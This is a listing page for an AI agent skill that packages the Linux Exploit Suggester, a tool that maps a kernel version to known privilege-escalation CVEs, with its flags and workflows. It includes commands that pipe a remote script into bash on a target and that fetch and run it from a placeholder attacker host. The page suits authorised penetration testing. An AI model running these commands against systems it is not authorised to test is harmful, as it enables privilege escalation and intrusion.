# Linux Exploit Suggester

> Auth/lab ref: Suggest Linux privilege escalation exploits based on kernel version and OS.

- Skill: `aeondave/linux-exploit-suggester` (Agent Skill)
- Install (CLI): `npx skillmds@latest add aeondave/linux-exploit-suggester`
- Raw SKILL.md: https://api.skillmd.com/api/skills/aeondave/linux-exploit-suggester/raw
- Safety review: WARNING
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- License: MIT
- Author: AeonDave (https://skillmd.com/u/aeondave)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/aeondave/linux-exploit-suggester

---


# Linux Exploit Suggester

Kernel exploit suggester — maps running Linux version to known privesc CVEs.

## Quick Start

```bash
# Download and run on target
curl -sL https://raw.githubusercontent.com/The-Z-Labs/linux-exploit-suggester/master/linux-exploit-suggester.sh | bash

# Or run locally
bash linux-exploit-suggester.sh

# Specify kernel manually
bash linux-exploit-suggester.sh --kernel 5.4.0
```

## Core Flags

| Flag | Purpose |
|------|---------|
| `--kernel VERSION` | Override detected kernel |
| `--uname STRING` | Pass uname -r output |
| `-f` | More verbose (show all details) |
| `--checksec` | Check mitigations (NX/SMEP/etc) |
| `-g` | Show only highly probable exploits |
| `--cvelist` | Output CVE list |

## Notable Exploits Detected

`DirtyCow (CVE-2016-5195)` · `Dirty Pipe (CVE-2022-0847)` · `OverlayFS (CVE-2023-0386)` · `SUID sudo` · `nmap --interactive` · `pkexec (CVE-2021-4034)`

## Common Workflows

**Full check with mitigation audit:**
```bash
bash linux-exploit-suggester.sh --checksec -f
```

**Parse output to get CVEs:**
```bash
bash linux-exploit-suggester.sh --cvelist 2>/dev/null
```

**Transfer to target:**
```bash
# Attacker
python3 -m http.server 8080
# Target
wget http://ATTACKER:8080/linux-exploit-suggester.sh -O /tmp/les.sh && bash /tmp/les.sh
```

## Resources

| File | When to load |
|------|--------------|
| `references/` | Exploit compilation and kernel exploit notes |